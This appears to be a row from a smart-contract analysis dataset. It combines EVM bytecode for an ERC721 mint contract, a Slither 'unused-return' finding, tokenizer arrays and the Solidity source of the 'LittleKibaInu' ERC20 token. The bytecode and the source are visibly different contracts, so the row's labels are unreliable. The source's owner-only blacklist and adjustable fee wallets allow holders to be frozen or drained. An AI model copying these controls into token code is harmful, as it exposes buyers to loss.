61bcd60e51b815260206004820152601360248201527f4e6f7420656e6f756768206d696e6572616c73000000000000000000000000006044820152606401610c9e565b6122e883613367565b5050600160095550565b60606122fd82612a53565b61236f5760405162461bcd60e51b815260206004820152602860248201527f224552433732314d657461646174613a20746f6b656e496420646f6573206e6f60448201527f74206578697374220000000000000000000000000000000000000000000000006064820152608401610c9e565b601461237a836134ab565b60405160200161238b92919061449b565b6040516020818303038152906040529050919050565b6040517fc45527910000000000000000000000000000000000000000000000000000000081526001600160a01b0383811660048301526000917f000000000000000000000000a5409ec958c83c3f309868babaca7c86dcb077c191848116919083169063c45527919060240160206040518083038186803b15801561242557600080fd5b505afa158015612439573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061245d9190614308565b6001600160a01b03161415612476576001915050610b8d565b6001600160a01b0380851660009081526004602090815260408083209387168352929052205460ff165b949350505050565b600260095414156124fb5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610c9e565b6002600955600854600160a01b900460ff161561255a5760405162461bcd60e51b815260206004820152601060248201527f5061757361626c653a20706175736564000000000000000000000000000000006044820152606401610c9e565b600f54600e5461256a919061466a565b4210156125b95760405162461bcd60e51b815260206004820152600d60248201527f50726573616c65206f6e6c792e000000000000000000000000000000000000006044820152606401610c9e565b600c546001600160801b031681111561263a5760405162461bcd60e51b815260206004820152602260248201527f5175616e746974792065786365656473205055424c49435f4d494e545f4c494d60448201527f49540000000000000000000000000000000000000000000000000000000000006064820152608401610c9e565b600d543490612652906001600160801b031683614696565b11156126a05760405162461bcd60e51b815260206004820152601360248201527f4e6f7420656e6f756768206d696e6572616c73000000000000000000000000006044820152606401610c9e565b60105460ff161561274857600c54336000908152601260205260409020546001600160801b03909116906126d4908361466a565b11156127485760405162461bcd60e51b815260206004820152602160248201527f5175616e746974792065786365656473207065722d77616c6c6574206c696d6960448201527f74000000000000000000000000000000000000000000000000000000000000006064820152608401610c9e565b61275181613367565b506001600955565b6008546001600160a01b031633146127b35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610c9e565b6001600160a01b03811661282f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610c9e565b6110b381612fec565b60118054612845906146f8565b80601f0160208091040260200160405190810160405280929190818152602001828054612871906146f8565b80156128be5780601f10612893576101008083540402835291602001916128be565b820191906000526020600020905b8154815290600101906020018083116128a157829003601f168201915b505050505081565b6008546001600160a01b031633146129205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610c9e565b600b80546fffffffffffffffffffffffffffffffff19166001600160801b0392909216919091179055565b6008546001600160a01b031633146129a55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610c9e565b805161182f906011906020840190613ef3565b60006001600160e01b031982167f80ac58cd000000000000000000000000000000000000000000000000000000001480612a1b57506001600160e01b031982167f5b5e139f00000000000000000000000000000000000000000000000000000000145b80610b8d57507f01ffc9a7000000000000000000000000000000000000000000000000000000006001600160e01b0319831614610b8d565b60025460009082108015610b8d575060006001600160a01b031660028381548110612a8057612a8061479e565b6000918252602090912001546001600160a01b0316141592915050565b6000818152600360205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0384169081179091558190612adf82611833565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006001600160a01b038616612b965760405162461bcd60e51b815260206004820152602560248201527f4e61746976654d6574615472616e73616374696f6e3a20494e56414c49445f5360448201527f49474e45520000000000000000000000000000000000000000000000000000006064820152608401610c9e565b6001612ba9612ba4876135dd565b61365a565b6040805160008152602081018083529290925260ff851690820152606081018690526080810185905260a0016020604051602081039080840390855afa158015612bf7573d6000803e3d6000fd5b505050602060405103516001600160a01b0316866001600160a01b031614905095945050505050565b6000612c2c828461466a565b9392505050565b60007f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca6001600160a01b0316634000aea07f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb795284866000604051602001612ca3929190918252602082015260400190565b6040516020818303038152906040526040518463ffffffff1660e01b8152600401612cd0939291906145aa565b602060405180830381600087803b158015612cea57600080fd5b505af1158015612cfe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d22919061428f565b506000838152600a6020818152604080842054815180840189905280830186905230606082015260808082018390528351808303909101815260a090910190925281519183019190912093879052919052612d7e90600161466a565b6000858152600a60205260409020556124a08482604080516020808201949094528082019290925280518083038201815260609092019052805191012090565b6000610b8d82604051806020016040528060008152506136a5565b600854600160a01b900460ff16612e325760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f74207061757365640000000000000000000000006044820152606401610c9e565b600880547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b600854600160a01b900460ff1615612ef45760405162461bcd60e51b815260206004820152601060248201527f5061757361626c653a20706175736564000000000000000000000000000000006044820152606401610c9e565b600880547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b1790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258612e7d3390565b612f54338261313e565b612fc65760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610c9e565b610df0838383613731565b610df083838360405180602001604052806000815250611d8b565b600880546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600b5461306890600160801b90046001600160801b031682614748565b6013555050565b816001600160a01b0316836001600160a01b031614156130d15760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610c9e565b6001600160a01b03838116600081815260046020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b600061314982612a53565b6131bb5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e00000000000000000000000000000000000000006064820152608401610c9e565b60006131c683611833565b9050806001600160a01b0316846001600160a01b031614806132015750836001600160a01b03166131f684610c25565b6001600160a01b0316145b806124a057506124a081856123a1565b61321c848484613731565b613228848484846138c1565b6112695760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610c9e565b60008061332d6040805130606090811b6bffffffffffffffffffffffff199081166020808501919091523390921b166034830152825160288184030181526048830184528051908201207f19457468657265756d205369676e6564204d6573736167653a0a33320000000060688401526084808401919091528351808403909101815260a4909201909252805191012090565b9050848114613340576000915050612c2c565b6001600160a01b0383166133548686613a53565b6001600160a01b03161495945050505050565b600b546002546001600160801b0390911690613383908361466a565b11156133f75760405162461bcd60e51b815260206004820152602160248201527f5075726368617365206578636565647320617661696c61626c6520737570706c60448201527f79000000000000000000000000000000000000000000000000000000000000006064820152608401610c9e565b60005b8181101561341e5761340b33612dbe565b50806134168161472d565b9150506133fa565b50601754604051636918579d60e11b8152600060048201523360248201526001600160a01b039091169063d230af3a90604401600060405180830381600087803b15801561346b57600080fd5b505af115801561347f573d6000803e3d6000fd5b505033600090815260126020526040812080548594509092506134a390849061466a565b909155505050565b6060816134eb57505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b811561351557806134ff8161472d565b915061350e9050600a83614682565b91506134ef565b60008167ffffffffffffffff811115613530576135306147b4565b6040519080825280601f01601f19166020018201604052801561355a576020820181803683370190505b5090505b84156124a05761356f6001836146b5565b915061357c600a86614748565b61358790603061466a565b60f81b81838151811061359c5761359c61479e565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506135d6600a86614682565b945061355e565b6000604051806080016040528060438152602001614804604391398051602091820120835184830151604080870151805190860120905161363d950193845260208401929092526001600160a01b03166040830152606082015260800190565b604051602081830303815290604052805190602001209050919050565b600061366560065490565b6040517f1901000000000000000000000000000000000000000000000000000000000000602082015260228101919091526042810183905260620161363d565b60006136b083613a77565b90506136bf60008483856138c1565b610b8d5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610c9e565b826001600160a01b031661374482611833565b6001600160a01b0316146137c05760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e00000000000000000000000000000000000000000000006064820152608401610c9e565b6001600160a01b03821661383b5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610c9e565b613846600082612a9d565b816002828154811061385a5761385a61479e565b60009182526020822001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03938416179055604051839285811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9190a4505050565b60006001600160a01b0384163b15613a4b576040517f150b7a020000000000000000000000000000000000000000000000000000000081526001600160a01b0385169063150b7a029061391e90339089908890889060040161456e565b602060405180830381600087803b15801561393857600080fd5b505af1925050508015613968575060408051601f3d908101601f19168201909252613965918101906142eb565b60015b613a18573d808015613996576040519150601f19603f3d011682016040523d82523d6000602084013e61399b565b606091505b508051613a105760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610c9e565b805181602001fd5b6001600160e01b0319167f150b7a02000000000000000000000000000000000000000000000000000000001490506124a0565b5060016124a0565b6000806000613a628585613b5d565b91509150613a6f81613bcd565b509392505050565b60006001600160a01b038216613acf5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610c9e565b506002546002805460018101825560009182527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091556040518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4919050565b600080825160411415613b945760208301516040840151606085015160001a613b8887828585613dbe565b94509450505050613bc6565b825160401415613bbe5760208301516040840151613bb3868383613eab565b935093505050613bc6565b506000905060025b9250929050565b6000816004811115613be157613be1614788565b1415613bea5750565b6001816004811115613bfe57613bfe614788565b1415613c4c5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610c9e565b6002816004811115613c6057613c60614788565b1415613cae5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610c9e565b6003816004811115613cc257613cc2614788565b1415613d365760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c60448201527f75650000000000000000000000000000000000000000000000000000000000006064820152608401610c9e565b6004816004811115613d4a57613d4a614788565b14156110b35760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c60448201527f75650000000000000000000000000000000000000000000000000000000000006064820152608401610c9e565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0831115613df55750600090506003613ea2565b8460ff16601b14158015613e0d57508460ff16601c14155b15613e1e5750600090506004613ea2565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015613e72573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116613e9b57600060019250925050613ea2565b9150600090505b94509492505050565b6000807f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff831660ff84901c601b01613ee587828885613dbe565b935093505050935093915050565b828054613eff906146f8565b90600052602060002090601f016020900481019282613f215760008555613f67565b82601f10613f3a57805160ff1916838001178555613f67565b82800160010185558215613f67579182015b82811115613f67578251825591602001919060010190613f4c565b50613f73929150613f77565b5090565b5b80821115613f735760008155600101613f78565b600067ffffffffffffffff80841115613fa757613fa76147b4565b604051601f8501601f19908116603f01168101908282118183101715613fcf57613fcf6147b4565b81604052809350858152868686011115613fe857600080fd5b858560208301376000602087830101525050509392505050565b600082601f83011261401357600080fd5b612c2c83833560208501613f8c565b60006020828403121561403457600080fd5b8135612c2c816147ca565b6000806040838503121561405257600080fd5b823561405d816147ca565b9150602083013561406d816147ca565b809150509250929050565b60008060006060848603121561408d57600080fd5b8335614098816147ca565b925060208401356140a8816147ca565b929592945050506040919091013590565b600080600080608085870312156140cf57600080fd5b84356140da816147ca565b935060208501356140ea816147ca565b925060408501359150606085013567ffffffffffffffff81111561410d57600080fd5b61411987828801614002565b91505092959194509250565b6000806040838503121561413857600080fd5b8235614143816147ca565b9150602083013561406d816147df565b600080600080600060a0868803121561416b57600080fd5b8535614176816147ca565b9450602086013567ffffffffffffffff81111561419257600080fd5b61419e88828901614002565b9450506040860135925060608601359150608086013560ff811681146141c357600080fd5b809150509295509295909350565b600080604083850312156141e457600080fd5b82356141ef816147ca565b946020939093013593505050565b6000806020838503121561421057600080fd5b823567ffffffffffffffff8082111561422857600080fd5b818501915085601f83011261423c57600080fd5b81358181111561424b57600080fd5b8660208260051b850101111561426057600080fd5b60209290920196919550909350505050565b60006020828403121561428457600080fd5b8135612c2c816147df565b6000602082840312156142a157600080fd5b8151612c2c816147df565b600080604083850312156142bf57600080fd5b50508035926020909101359150565b6000602082840312156142e057600080fd5b8135612c2c816147ed565b6000602082840312156142fd57600080fd5b8151612c2c816147ed565b60006020828403121561431a57600080fd5b8151612c2c816147ca565b60006020828403121561433757600080fd5b813567ffffffffffffffff81111561434e57600080fd5b8201601f8101841361435f57600080fd5b6124a084823560208401613f8c565b60006020828403121561438057600080fd5b81356001600160801b0381168114612c2c57600080fd5b6000602082840312156143a957600080fd5b5035919050565b6000806000606084860312156143c557600080fd5b8335925060208401359150604084013567ffffffffffffffff8111156143ea57600080fd5b6143f686828701614002565b9150509250925092565b600081518084526144188160208601602086016146cc565b601f01601f19169290920160200192915050565b6000815161443e8185602086016146cc565b9290920192915050565b6000825161445a8184602087016146cc565b9190910192915050565b600083516144768184602088016146cc565b60609390931b6bffffffffffffffffffffffff19169190920190815260140192915050565b600080845481600182811c9150808316806144b757607f831692505b60208084108214156144d757634e487b7160e01b86526022600452602486fd5b8180156144eb57600181146144fc57614529565b60ff19861689528489019650614529565b60008b81526020902060005b868110156145215781548b820152908501908301614508565b505084890196505b505050505050614539818561442c565b95945050505050565b60006001600160a01b038086168352808516602084015250606060408301526145396060830184614400565b60006001600160a01b038087168352808616602084015250836040830152608060608301526145a06080830184614400565b9695505050505050565b6001600160a01b03841681528260208201526060604082015260006145396060830184614400565b6020808252825182820181905260009190848201906040850190845b818110156146135783516001600160a01b0316835292840192918401916001016145ee565b50909695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156146135783518352928401929184019160010161463b565b602081526000612c2c6020830184614400565b6000821982111561467d5761467d61475c565b500190565b60008261469157614691614772565b500490565b60008160001904831182151516156146b0576146b061475c565b500290565b6000828210156146c7576146c761475c565b500390565b60005b838110156146e75781810151838201526020016146cf565b838111156112695750506000910152565b600181811c9082168061470c57607f821691505b602082108114156117bc57634e487b7160e01b600052602260045260246000fd5b60006000198214156147415761474161475c565b5060010190565b60008261475757614757614772565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146110b357600080fd5b80151581146110b357600080fd5b6001600160e01b0319811681146110b357600080fdfe4d6574615472616e73616374696f6e2875696e74323536206e6f6e63652c616464726573732066726f6d2c62797465732066756e6374696f6e5369676e617475726529a2646970667358221220d08b3999714d10345dc204cb323b7ca049c731d50747f78456cca9b274bacdaf64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 2683, 2094, 2581, 19797, 24434, 2497, 28756, 2683, 2575, 20842, 18139, 2546, 23777, 2497, 2581, 27421, 2549, 2850, 2629, 7011, 2278, 15136, 16703, 2094, 2620, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1016, 1025, 1013, 1013, 1010, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1010, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1010, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1010, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1010, 1011, 1011, 1012, 1010, 1011, 1011, 1012, 1013, 1013, 1005, 1011, 1011, 1012, 1012, 1011, 1011, 1005, 1064, 1012, 1011, 1011, 1011, 1005, 1064, 1012, 1011, 1012, 1032, 1064, 1012, 1011, 1012, 1032, 1032, 1036, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,145
0x9649e336ad63b0abff0fc67ad27f7df13d5fce63
// SPDX-License-Identifier: Unlicensed /** LittleKibaInu ($LILKIBA) Total Supply: 1 trillion Fair Launch 11/26 */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LittleKibaInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public _feeAddr1 = 5; uint256 public _feeAddr2 = 5; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "LittleKibaInu"; string private constant _symbol = "$LILKIBA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x305Adb7d07A93958028B686020538Ce753a18a93); _feeAddrWallet2 = payable(0x305Adb7d07A93958028B686020538Ce753a18a93); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e10 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _setFeeAddr1(uint256 feeAddr1) external onlyOwner() { require(feeAddr1 >= 1 && feeAddr1 <= 25, 'feeAddr1 should be in 1 - 25'); _feeAddr1 = feeAddr1; } function _setFeeAddr2(uint256 feeAddr2) external onlyOwner() { require(feeAddr2 >= 1 && feeAddr2 <= 25, 'feeAddr2 should be in 1 - 25'); _feeAddr2 = feeAddr2; } function _setFeeAddrWallet1(address payable feeAddrWallet1) external onlyOwner() { _feeAddrWallet1 = feeAddrWallet1; _isExcludedFromFee[_feeAddrWallet1] = true; } function _setFeeAddrWallet2(address payable feeAddrWallet2) external onlyOwner() { _feeAddrWallet2 = feeAddrWallet2; _isExcludedFromFee[_feeAddrWallet2] = true; } }
